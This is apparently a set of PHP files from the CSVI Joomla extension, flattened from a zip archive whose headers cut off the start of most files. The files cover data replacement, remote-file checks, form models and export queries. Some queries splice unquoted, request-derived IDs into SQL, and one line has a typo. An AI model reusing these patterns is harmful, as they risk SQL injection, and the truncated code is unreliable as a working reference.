/** * Perform replacement on a value * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id the id of the replacement rule * @param string $value the text to replace * @return string the replaced text * @since 3.0 */ public function replaceValue($id, $value) { static $replacements; if ($id > 0) { if (!isset($this->replacements[$id])) { // Get the replace details $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('findtext')); $query->select($db->quoteName('replacetext')); $query->select($db->quoteName('method')); $query->from('#__csvi_replacements'); $query->where('id = '.$db->Quote($id)); $db->setQuery($query); $replace = $db->loadObject(); $this->replacements[$id] = $replace; } else { $replace = $this->replacements[$id]; } // Perform the replacement if (empty($replace)) return $value; else { switch ($replace->method) { case 'text': $fieldvalue = str_ireplace($replace->findtext, $replace->replacetext, $value); break; case 'regex': $fieldvalue = preg_replace($replace->findtext, $replace->replacetext, $value); break; } } return $fieldvalue; } else return $value; } /** * Get the list of custom tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array list of order item product objects * @since 3.0 */ public function getCustomTables() { $db = JFactory::getDbo(); $q = "SELECT component_table FROM #__csvi_available_fields WHERE core = 0 GROUP BY component_table"; $db->setQuery($q); return $db->loadColumn(); } /** * Check whether a file referenced by a URL exists * * Note: The time taken to check a valid format url: 0.10 secs, regardless of whether the file exists * * @copyright * @author doorknob, RolandD * @todo * @see * @access public * @param string $file The URL to be checked * @return boolean true if file exists | false if file does not exist * @since 2.17 */ public function fileExistsRemote($file) { // If it is an SSL file we cannot validate its existence if (substr($file, 0, 5) == 'https') return true; $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $url_parts = @parse_url($file); $csvilog->addDebug('URL:'.$file); if (!isset($url_parts['host']) || empty($url_parts['host'])) { return false; } if (!isset($url_parts['path']) || empty($url_parts['path'])) { $documentpath = '/'; } else { $documentpath = $url_parts['path']; } if (isset($url_parts['query']) && !empty($url_parts['query'])) { $documentpath .= '?'.$url_parts['query']; } $host = $url_parts['host']; if (!isset($url_parts['port']) || empty($url_parts['port'])) { if ($url_parts['scheme'] == 'https') $port = '443'; else $port = '80'; } else { $port = $url_parts['port']; } if ($url_parts['scheme'] == 'https') { $sslhost = 'ssl://'.$host; } else $sslhost = $host; $errno = null; $errstr = null; $documentpath = str_replace(' ', '%20', $documentpath); $socket = @fsockopen($sslhost, $port, $errno, $errstr, 30); if ($socket) { fwrite($socket, "HEAD $documentpath HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\nHost: $host\r\n\r\n"); $http_response = fgets($socket, 25); fclose($socket); // Parse the result $csvilog->addDebug('HTTP response:'.$http_response); if (stripos($http_response, '200 OK') === false && stripos($http_response, '302 Found') === false) { return false; } else return true; } return false; } /** * Find the primary key of a given table * * @copyright * @author RolandD * @todo * @see * @access public * @param $table string the name of the table to find the primary key * @return string the fieldname that is the primary key * @since 3.0 */ public function getPrimaryKey($tablename) { $db = JFactory::getDbo(); $q = "SHOW KEYS FROM ".$db->quoteName('#__'.$tablename)." WHERE ".$db->quoteName('Key_name')." = ".$db->quote('PRIMARY'); $db->setQuery($q); $key = $db->loadObject(); if (!is_object($key)) return ''; else return $key->Column_name; } /** * Get the domainname * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string domain name * @since 3.4 */ public function getDomainName() { $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); // Get the domainname $domainname = $settings->get('site.hostname'); // Check for the trailing slash at the domain name if (substr($domainname, -1) == '/') $domainname = substr($domainname, 0, -1); // Assign the domainname return $domainname; } /** * Get supported components * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of supported components * @since 4.0 */ public function getComponents() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('component AS value, component AS text'); $query->from($db->quoteName('#__csvi_template_types')); $query->leftJoin('#__extensions ON #__csvi_template_types.component = #__extensions.element'); $query->where($db->quoteName('#__extensions.type').' = '.$db->Quote('component')); $query->group('component'); $db->setQuery($query); return $db->loadObjectList(); } /** * Get the buttons for the control panel * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return object with the button HTML data * @since 3.0 */ public function getButtons() { // Get the Cpanel images $cpanel_images = new stdClass(); $cpanel_images->process = $this->CpanelButton('csvi_process_48.png', 'index.php?option=com_csvi&view=process', 'COM_CSVI_PROCESS'); $cpanel_images->replacements = $this->CpanelButton('csvi_replace_48.png', 'index.php?option=com_csvi&view=replacements', 'COM_CSVI_REPLACEMENTS'); $cpanel_images->maintenance = $this->CpanelButton('csvi_maintenance_48.png', 'index.php?option=com_csvi&view=maintenance', 'COM_CSVI_MAINTENANCE'); $cpanel_images->help = $this->CpanelButton('csvi_help_48.png', 'http://www.csvimproved.com/csv-improved-documentation/', 'COM_CSVI_HELP'); $cpanel_images->about = $this->CpanelButton('csvi_about_48.png', 'index.php?option=com_csvi&view=about', 'COM_CSVI_ABOUT'); $cpanel_images->log = $this->CpanelButton('csvi_log_48.png', 'index.php?option=com_csvi&view=log', 'COM_CSVI_LOG'); $cpanel_images->availablefields = $this->CpanelButton('csvi_av_fields_48.png', 'index.php?option=com_csvi&view=availablefields', 'COM_CSVI_AVAILABLE_FIELDS'); $cpanel_images->settings = $this->CpanelButton('csvi_settings_48.png', 'index.php?option=com_csvi&view=settings', 'COM_CSVI_SETTINGS'); $cpanel_images->install = $this->CpanelButton('csvi_install_48.png', 'index.php?option=com_csvi&view=install', 'COM_CSVI_INSTALL'); return $cpanel_images; } /** * Creates a button for the control panel * * @copyright * @author RolandD * @todo * @see * @access private * @param string $image contains the name of the image * @param string $link contains the target link for the image when clicked * @param string $title contains the title of the button * @return string returns a complete button for the control panel * @since 3.0 */ private function CpanelButton($image, $link, $title) { if (substr($link, 0, 4) == "http") $attribs = ' target="_new"'; else $attribs = ''; $cpanelbutton = '
      '; $cpanelbutton .= '
      '; $cpanelbutton .= JHTML::_('link', $link, JHTML::_('image', JURI::root().'administrator/components/com_csvi/assets/images/'.$image, JText::_($title)).''.JText::_($title).'', $attribs); $cpanelbutton .= '
      '; $cpanelbutton .= '
      '; return $cpanelbutton; } /** * Get a Yes/No dropdown list * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the name of the dropdown * @param string $selected pre-selected entry * @param string $attribs attributes to add to the dropdown * @param string $idtag the id to give to the dropdown * @return string that contains the dropdown with options * @since 4.0 */ public function getYesNo($name, $selected=null, $attribs=null, $idtag=null) { $options = array(); $options[] = JHtml::_('select.option', '0', JText::_('COM_CSVI_NO')); $options[] = JHtml::_('select.option', '1', JText::_('COM_CSVI_YES')); return JHtml::_('select.genericlist', $options, $name, $attribs, 'value', 'text', $selected, $idtag); } } ?> PKs>\F]E'com_csvi/helpers/com_redshop_config.phpnuW+A_redshopcfgfile = JPATH_ADMINISTRATOR.'/components/com_redshop/helpers/redshop.cfg.php'; $this->_redshopcfg = file($this->_redshopcfgfile); } /** * Finds a given redSHOP setting * @var string $setting The config value to find * @return string the value of the config setting */ public function get($setting) { $key = $this->array_find($setting, $this->_redshopcfg); if ($key) { $find_setting = explode('\', \'', $this->_redshopcfg[$key]); return substr(trim($find_setting[1]), 0, -3); } else return false; } /** * Searched the array for a partial value * @return mixed Array key if found otherwise false */ private function array_find($needle, $haystack) { foreach ($haystack as $key => $item) { if (stripos($item, $needle) !== FALSE) { return $key; break; } } // Nothing found return false return false; } } ?>PKs>\=!naacom_csvi/models/logdetails.phpnuW+AsetState('filter.action', $app->getUserStateFromRequest($this->_context.'.filter.action', 'filter_action', false, 'word')); $this->setState('filter.result', $app->getUserStateFromRequest($this->_context.'.filter.result', 'filter_result', false, 'word')); // List state information. // Controls the query ORDER BY parent::populateState('d.line', 'asc'); } /** * Build an SQL query to load the list data. * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return object the query to execute * @since 4.0 */ protected function getListQuery() { // Create a new query object. $jinput = JFactory::getApplication()->input; $db = $this->getDbo(); $query = $db->getQuery(true); // Get the Run ID $run_id = $jinput->get('run_id', 0, 'int'); // Select the required fields from the table. $query->select('d.line, d.description, d.status, d.log_id, d.result'); $query->from('#__csvi_log_details AS d'); // Add all the filters $filters = array(); if ($run_id) { $query->leftJoin('#__csvi_logs AS l ON l.id = d.log_id'); $query->where('l.run_id = '.$run_id); } if ($this->getState('filter.action')) $filters[] = $db->quoteName('status').' = '.$db->Quote($this->getState('filter.action')); if ($this->getState('filter.result')) $filters[] = $db->quoteName('result').' = '.$db->Quote($this->getState('filter.result')); if (!empty($filters)) { // Add the clauses to the query. $query->where('('.implode(' AND ', $filters).')'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Get the actions available for the current log * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available actions * @since 3.0 */ public function getActions() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $run_id = $jinput->get('run_id', 0, 'int'); $q = "SELECT CONCAT('COM_CSVI_', UPPER(".$db->quoteName('status').")) AS ".$db->Quote('text').", ".$db->quoteName('status')." as ".$db->Quote('value')." FROM ".$db->quoteName('#__csvi_log_details')." WHERE log_id IN (SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id.") GROUP by ".$db->quoteName('value'); $db->setQuery($q); $actions = $db->loadObjectList(); $showall = JHtml::_('select.option', '', JText::_('COM_CSVI_SELECT_ACTION'), 'value', 'text'); array_unshift($actions, $showall); return JHtml::_('select.genericlist', $actions, 'filter_action', '', 'value', 'text', $jinput->get('filter_action'), false, true); } /** * Get the results available for the current log * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available results * @since 3.0 */ public function getResults() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $run_id = $jinput->get('run_id', 0, 'int'); $q = "SELECT CONCAT('COM_CSVI_', UPPER(".$db->quoteName('result').")) AS ".$db->Quote('text').", ".$db->quoteName('result')." as ".$db->Quote('value')." FROM ".$db->quoteName('#__csvi_log_details')." WHERE log_id IN (SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id.") GROUP by ".$db->quoteName('result'); $db->setQuery($q); $results = $db->loadObjectList(); $showall = JHtml::_('select.option', '', JText::_('COM_CSVI_SELECT_RESULT'), 'value', 'text'); array_unshift($results, $showall); return JHtml::_('select.genericlist', $results, 'filter_result', '', 'value', 'text', $jinput->get('filter_result'), false, true); } } ?>PKs>\<9(com_csvi/models/replacement.phpnuW+AloadForm($this->context, 'replacement', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_csvi.edit.replacement.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } } ?> PKs>\ com_csvi/models/process.phpnuW+Ainput; $jform = $jinput->get('jform', array(), 'array'); if (!isset($jform['options'])) $action = 'import'; else $action = $jform['options']['action']; // Construct the super XML $xml = '
      '; // Add the main XML $xml .= JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/models/forms/'.$action.'.xml'); // Load additional XMLs if (!empty($jform) && isset($jform['options'])) { // Get the component name $component = $jform['options']['component']; if (!empty($options)) { foreach ($options as $option) { $readfile = false; // Check the component specific XML $filename = JPATH_COMPONENT_ADMINISTRATOR.'/models/forms/'.$component.'/'.$action.'/'.$option.'.xml'; if (JFile::exists($filename)) $readfile = $filename; else { // Check if there is a generic XML $filename = JPATH_COMPONENT_ADMINISTRATOR.'/models/forms/'.$action.'/'.$option.'.xml'; if (JFile::exists($filename)) $readfile = $filename; } // Read the file if ($readfile) { $subxml = JFile::read($readfile); if ($subxml) $xml .= $subxml; } } } } // Close the XML $xml .= '
      '; // Load the form $form = $this->loadForm($this->context, $xml, array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @copyright * @author RolandD * @todo * @see getForm() * @access protected * @param * @return mixed The data for the form * @since 4.0 */ protected function loadFormData() { $jinput = JFactory::getApplication()->input; $data = $jinput->get('jform', array(), 'array'); return $data; } /** * Load the option templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getOptions() { $jinput = JFactory::getApplication()->input; $jform = $jinput->get('jform', array(), 'array'); $options = array(); if (!empty($jform) && isset($jform['options']) && isset($jform['options']['component']) && isset($jform['options']['operation'])) { // Get the operation the user wants to perform $component = $jform['options']['component']; $operation = $jform['options']['operation']; // Get the option templates needed for the operation $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('options'); $query->from('#__csvi_template_types'); $query->where('template_type_name = '.$db->Quote($operation)); $query->where('component = '.$db->Quote($component)); $db->setQuery($query); $result = $db->loadResult(); $options = explode(',', $result); } return $options; } /** * Get the list of order statussen */ public function getOrderStatus() { $db = JFactory::getDBO(); $q = "SELECT order_status_code, order_status_name FROM #__virtuemart_orderstates ORDER BY ordering"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products */ public function getOrderCurrency() { $db = JFactory::getDBO(); $q = "SELECT order_currency, currency_name FROM #__vm_orders o, #__vm_currency c WHERE o.order_currency = c.currency_code GROUP BY currency_name ORDER BY currency_name;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of exchange rate currencies */ public function getExchangeRateCurrency() { $db = JFactory::getDBO(); $q = "SELECT #__csvi_currency.currency_code AS currency_code, IF (#__vm_currency.currency_name IS NULL, #__csvi_currency.currency_code, #__vm_currency.currency_name) AS currency_name FROM #__csvi_currency LEFT JOIN #__vm_currency on #__vm_currency.currency_code = #__csvi_currency.currency_code;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Check if there are any templates with fields */ public function getCountTemplateFields() { $db = JFactory::getDBO(); $q = "SELECT field_template_id, COUNT(field_template_id) AS total FROM #__csvi_template_fields WHERE field_template_id in ( SELECT template_id FROM #__csvi_templates WHERE template_type LIKE '%export') GROUP BY field_template_id"; $db->setQuery($q); $nrfields = $db->loadResultArray(); if ($db->getErrorNum() > 0) { JError::raiseWarning(0, $db->getErrorMsg()); return false; } else { /* Check if there are any templates with more than 0 fields */ foreach ($nrfields as $key => $nr) { if ($nr > 0) return true; } } } /** * Get a list of possible VM Item IDs */ public function getVmItemids() { $db = JFactory::getDBO(); $q = "SELECT id AS value, name AS text FROM #__menu WHERE link LIKE '%com_virtuemart%'"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of selected order item products * * @copyright * @author RolandD * @todo Do not use INFORMATION_SCHEMA * @see * @access public * @param * @return array list of order item product objects * @since 3.0 */ public function getJoomFishLanguages() { $db = JFactory::getDBO(); $conf = JFactory::getConfig(); $q = "SELECT table_name FROM information_schema.tables WHERE table_schema = ".$db->Quote($conf->getValue('config.db'))." AND table_name = ".$db->Quote($conf->getValue('config.dbprefix').'languages'); $db->setQuery($q); $total = $db->loadResult(); if (!empty($total)) { $q = "SELECT ".$db->quoteName('name')." AS ".$db->quoteName('text').", ".$db->quoteName('id')." AS ".$db->quoteName('value')." FROM #__languages ORDER BY name"; $db->setQuery($q); return $db->loadObjectList(); } else return array(); } /** * Get a list of XML sites * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type the type of files to find (XML or HTML) * @return array list of XML sites * @since 3.0 */ public function getExportSites($type) { jimport('joomla.filesystem.folder'); $files = array(); $path = JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/export/'.$type; if (JFolder::exists($path)) { $files = JFolder::files($path, '.php'); if (!empty($files)) { foreach ($files as $fkey => $file) { $files[$fkey] = basename($file, '.php'); } } else $files = array(); } return $files; } /** * Get a dropdown list of replacements * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of replacements * @since 4.0 */ public function getReplacements() { $replacements = array(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id AS value, name AS text'); $query->from('#__csvi_replacements'); $db->setQuery($query); $replacements = $db->loadObjectList(); // Add a make choice option $option = new StdClass(); $option->value = ''; $option->text = JText::_('COM_CSVI_NOT_USED'); if (!empty($replacements)) array_unshift($replacements, $option); else $replacements[] = $option; return $replacements; } } ?>PKs>\{ { !com_csvi/models/templatetypes.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('*'); $query->from('#__csvi_template_types'); // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Load the template types for a given selection * * @copyright * @author RolandD * @todo * @see * @access public * @param $action the import or export option * @param $component the component * @return array of available template types * @since 3.5 */ public function loadTemplateTypes($action, $component) { $db = JFactory::getDbo(); $q = "SELECT t.template_type_name FROM `#__csvi_template_types` AS t WHERE t.template_type = ".$db->Quote($action)." AND t.component = ".$db->Quote($component); $db->setQuery($q); $types = $db->loadResultArray(); // Get translations $trans = array(); foreach ($types as $type) { $trans[$type] = JText::_('COM_CSVI_'.strtoupper($type)); } return $trans; } } ?>PKs>\J;vv#com_csvi/models/fields/csviform.phpnuW+A PKs>\) com_csvi/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\_  5com_csvi/models/fields/csvivirtuemartorderproduct.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $products = $template->get('orderproduct', 'order', array(), null); $skus = implode(',', $products); if (!empty($skus)) { foreach ($products as $pkey => $product) { $products[$pkey] = $db->Quote($product); } $q = "SELECT DISTINCT product_sku, product_name FROM #__virtuemart_products p, #__virtuemart_order_items o WHERE p.virtuemart_product_id = o.virtuemart_product_id AND p.product_sku IN (".$skus.") ORDER BY product_name;"; $db->setQuery($q); $orderproducts = $db->loadObjectList(); if (empty($orderproducts)) $orderproducts = array(); return array_merge(parent::getOptions(), $orderproducts); } else return parent::getOptions(); } } ?> PKs>\ 9qq2com_csvi/models/fields/csvivirtuemartorderuser.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $orderuser = $template->get('orderuser', 'order', array(), null); $userids = implode(',', $orderuser); if (!empty($userids)) { $q = "SELECT DISTINCT user_id, IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name FROM #__virtuemart_order_userinfos WHERE user_id IN (".$userids.") ORDER BY user_name;"; $db->setQuery($q); $customers = $db->loadObjectList(); if (empty($customers)) $customers = array(); return array_merge(parent::getOptions(), $customers); } else return parent::getOptions(); } } ?> PKs>\Ƹ5com_csvi/models/fields/csviakeebasubsorderpayment.phpnuW+AgetQuery(true); $query->select($db->quoteName('processor', 'value')); $query->select($db->quoteName('processor', 'text')); $query->from($db->quoteName('#__akeebasubs_subscriptions')); $query->group($db->quoteName('processor')); $db->setQuery($query); $methods = $db->loadObjectList(); if (empty($methods)) $methods = array(); return array_merge(parent::getOptions(), $methods); } } ?> PKs>\%/com_csvi/models/fields/csvijoomfishlanguage.phpnuW+AgetQuery(true); $query->select('table_name'); $query->from('information_schema.tables'); $query->where('table_schema = '.$db->Quote($conf->getValue('config.db'))); $query->where('table_name = '.$db->Quote($conf->getValue('config.dbprefix').'languages')); $db->setQuery($query); $total = $db->loadResult(); if (!empty($total)) { $query = $db->getQuery(true); $query->select($db->quoteName('title')." AS ".$db->quoteName('text')); $query->select($db->quoteName('lang_id')." AS ".$db->quoteName('value')); $query->from('#__languages'); $query->order('title'); $db->setQuery($query); return $db->loadObjectList(); } else return array(JText::_('COM_CSVI_NO_LANGUAGES_FOUND')); } } ?> PKs>\#o,,!com_csvi/models/fields/index.htmlnuW+APKs>\L:(com_csvi/models/fields/csvitemplates.phpnuW+AgetQuery(true); $query->select($db->quoteName('id').' AS value ,'.$db->quoteName('name').' AS text'); $query->from($db->quoteName('#__csvi_template_settings')); $query->where($db->quoteName('settings').' LIKE '.$db->quote('%"action":"export"%')); $query->where($db->quoteName('settings').' LIKE '.$db->Quote('%"export_frontend":"1"%')); $query->order($db->quoteName('name')); $db->setQuery($query); $templates = $db->loadObjectList(); return $templates; } } ?> PKs>\XEE9com_csvi/models/fields/csvivirtuemartorderitemproduct.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $products = $template->get('orderitemproduct', 'orderitem', array(), null); $skus = implode(',', $products); if (!empty($skus)) { foreach ($products as $pkey => $product) { $products[$pkey] = $db->Quote($product); } $q = "SELECT DISTINCT product_sku, product_name FROM #__virtuemart_products p, #__virtuemart_order_items o WHERE p.virtuemart_product_id = o.virtuemart_product_id AND p.product_sku IN (".skus.") ORDER BY product_name;"; $db->setQuery($q); $orderitemproducts = $db->loadObjectList(); if (empty($orderitemproducts)) $orderitemproducts = array(); return array_merge(parent::getOptions(), $orderitemproducts); } else return parent::getOptions(); } } ?> PKs>\tH__5com_csvi/models/fields/csviakeebasubsorderproduct.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $orderproduct = $template->get('orderproduct', 'order', array(), 'array'); if (!empty($orderproduct)) { $query->select($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id', 'value')); $query->select($db->quoteName('title', 'text')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__akeebasubs_levels', 'l').' ON '.$db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' = '.$db->quoteName('l').'.'.$db->quoteName('akeebasubs_level_id')); $query->where($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' IN ('.implode(',', $orderproduct).')'); $query->order($db->quoteName('title')); $query->group($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id')); $db->setQuery($query); $products = $db->loadObjectList(); if (empty($products)) $products = array(); return array_merge(parent::getOptions(), $products); } else return parent::getOptions(); } } ?> PKs>\ #!!:com_csvi/models/fields/csvivirtuemartproductcategories.phpnuW+Aoptions = array(); if (class_exists('com_virtuemart')) { $conf = JFactory::getConfig(); $lang = strtolower(str_replace('-', '_', $conf->get('language'))); $helper = new Com_VirtueMart(); $this->options = $helper->getCategoryTree($lang); } return $this->options; } } ?> PKs>\2com_csvi/models/fields/csviakeebasubsorderuser.phpnuW+Ainput; $template = $jinput->get('template', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $orderuser = $template->get('orderuser', 'order', array(), 'array'); if (!empty($orderuser)) { $query->select($db->quoteName('user_id', 'value')); $query->select($db->quoteName('name', 'text')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__users', 'u').' ON '.$db->quoteName('s').'.'.$db->quoteName('user_id').' = '.$db->quoteName('u').'.'.$db->quoteName('id')); $query->where($db->quoteName('s').'.'.$db->quoteName('user_id').' IN ('.implode(',', $orderuser).')'); $query->order($db->quoteName('name')); $query->group($db->quoteName('user_id')); $db->setQuery($query); $customers = $db->loadObjectList(); if (empty($customers)) $customers = array(); return array_merge(parent::getOptions(), $customers); } else return parent::getOptions(); } } ?> PKs>\ _=5com_csvi/models/fields/csvivirtuemartmanufacturer.phpnuW+Aget('language'))); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('virtuemart_manufacturer_id').' AS value,'.$db->quoteName('mf_name').' AS text'); $query->from($db->quoteName('#__virtuemart_manufacturers_'.$lang)); $db->setQuery($query); $options = $db->loadObjectList(); return array_merge(parent::getOptions(), $options); } } ?> PKs>\AMB5com_csvi/models/fields/csvivirtuemartorderpayment.phpnuW+Aget('administrator'))); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_paymentmethod_id AS value, payment_name AS text'); $query->from('#__virtuemart_paymentmethods_'.$lang); $db->setQuery($query); $methods = $db->loadObjectList(); if (empty($methods)) $methods = array(); return array_merge(parent::getOptions(), $methods); } } ?> PKs>\99)com_csvi/models/fields/csvioperations.phpnuW+Ainput; $jform = $jinput->get('jform', array(), 'array'); $trans = array(); if (!empty($jform) && isset($jform['options'])) { $db = JFactory::getDbo(); $q = "SELECT t.template_type_name FROM `#__csvi_template_types` AS t WHERE t.template_type = ".$db->Quote($jform['options']['action'])." AND t.component = ".$db->Quote($jform['options']['component']); $db->setQuery($q); $types = $db->loadResultArray(); // Get translations foreach ($types as $type) { $trans[$type] = JText::_('COM_CSVI_'.strtoupper($type)); } } else { $trans = parent::getOptions(); } return $trans; } } ?> PKs>\f"6com_csvi/models/com_akeebasubs/export/couponexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'params': $userfields[] = $db->quoteName('#__akeebasubs_coupons').'.'.$db->quoteName($field->field_name); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__akeebasubs_coupons'); $query->leftJoin('#__akeebasubs_users ON #__akeebasubs_users.user_id = #__akeebasubs_coupons.user'); $query->leftJoin('#__users ON #__users.id = #__akeebasubs_coupons.user'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__akeebasubs_coupons.enabled = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'value': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'publish_up': case 'publish_down': case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\%#%#9com_csvi/models/com_akeebasubs/export/affiliateexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'user_id': case 'akeebasubs_affiliate_id': $userfields[] = $db->quoteName('#__akeebasubs_affiliates').'.'.$db->quoteName($field->field_name); break; case 'money_owed': case 'money_paid': case 'total_commission': $userfields[] = $db->quoteName('#__akeebasubs_affiliates').'.'.$db->quoteName('akeebasubs_affiliate_id'); break; case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__akeebasubs_affiliates'); $query->leftJoin('#__akeebasubs_affpayments ON #__akeebasubs_affpayments.akeebasubs_affiliate_id = #__akeebasubs_affiliates.akeebasubs_affiliate_id'); $query->leftJoin('#__users ON #__users.id = #__akeebasubs_affiliates.user_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__akeebasubs_affiliates.enabled = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore some custom fields $ignore = array('money_owed', 'money_paid', 'total_commission'); // Check if we need to group the orders 